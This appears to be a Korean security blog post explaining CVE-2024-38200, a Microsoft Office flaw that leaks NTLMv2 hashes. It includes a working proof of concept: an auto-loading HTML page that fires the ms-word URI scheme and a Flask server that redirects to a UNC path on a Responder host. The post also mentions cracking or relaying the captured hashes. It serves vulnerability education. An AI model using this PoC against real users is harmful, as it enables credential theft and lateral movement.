[하루한줄] CVE-2024-38200: Microsoft Office NTLMv2 Leak Vulnerability
URL
Target
- Microsoft 365 Apps for Enterprise for 32-bit Systems
- Microsoft 365 Apps for Enterprise for 64-bit Systems
- Microsoft Office 2016 (32-bit edition) 16.0.5461.1001, 16.0.5461.1000 이하
- Microsoft Office 2016 (64-bit edition) 16.0.5461.1001, 16.0.5461.1000 이하
- Microsoft Office 2019 for 32-bit editions Version 2407 (Build 17830.20166)
- Microsoft Office 2019 for 64-bit editions Version 2407 (Build 17830.20166)
- Microsoft Office LTSC 2021 for 32-bit editions Version 2108 (Build 14332.20763)
- Microsoft Office LTSC 2021 for 64-bit editions Version 2108 (Build 14332.20763)
Explain
Microsoft Office 에서 NTLMv2 Hash 를 Leak 할 수 있는 취약점이 발견되었습니다. victim 이 특정한 URI scheme 을 클릭하고 오피스를 실행시킨다면 victim 의 NTLMv2 Hash 가 탈취당할 수 있습니다.
Windows 에서는 UNC Path 라는게 있는데요. 공유폴더를 사용할 때 \\[네트워크 주소]\[경로]
와 같은 형태의 경로를 사용하신 적이 있을겁니다. 이러한 경로를 UNC Path 라 하고 이 경로로 접근하면 자동으로 Windows 의 인증 과정이 이뤄집니다.
UNC Path 에서의 인증에서 볼 수 있듯, Windows 는 공유폴더를 사용하지 않더라도 인증이 필요한 상황일 때 NTLM hash 를 전달하며 인증 과정을 수행합니다. MS Office 에서는 ms-word:ofe|u|http:// 와 같은 URI Scheme 을 써서 외부 문서를 열 수 있습니다.
ms-word:ofe|u|http://test.local:8080/leak/leak.docx
ms-excel:ofe|u|http://test.local:8080/leak/leak.docx
위의 URI scheme 을 바로 접근하면 경고창이 발생합니다. 이 경고창을 안뜨게 하는 방법이 있을까요? 굉장히 심플한 아이디어로 우회할 수 있는데요. 워드 문서에 첨부하는 URI Scheme 서버에서 302를 내려주고 Location 으로 UNC 경로를 주는 것입니다!
PoC 설명
먼저 트리거시킬 html 에서는 ms-word:ofe|u|http://
Scheme 을 사용하여 MS Word 를 실행시키도록 합니다. 이 Scheme 에서 지정하는 hostname 과 port 는 별도 flask 서버의 주소를 기재합니다.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Microsoft Office</title>
</head>
<body>
<a id="link" href="ms-word:ofe|u|http://hostname:port/leak.docx"></a>
<script>
function navigateToLink() {
var link = document.getElementById('link');
if (link) {
var url = link.getAttribute('href');
window.location.href = url;
}
}
window.onload = navigateToLink;
</script>
</body>
</html>
flask 서버에서는 Location 헤더에 UNC Path 를 에 둔 302 response 를 응답하도록 합니다.
UNC Path 에는 Responder 도구의 주소를 두어 NTLMv2 hash 를 캡처할 수 있도록 합니다.
from flask import Flask, make_response
app = Flask(__name__)
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def redirect_to_unc(path):
unc_path = r'\\\\\\\\IPaddress\\\\test.docx'
response = make_response('', 302)
response.headers['Location'] = unc_path
return response
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
이러면 경고창도 안뜨고 NTLMv2 hash 를 캡처할 수 있습니다. NTLMv2 hash 는 프로토콜 상 원래 NTLM hash 로 암호화된 Response 값이기에 이를 크랙하여 NTLM hash 를 얻거나, response 를 relay 하여 Lateral Movement 를 시도할 수도 있습니다.
본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.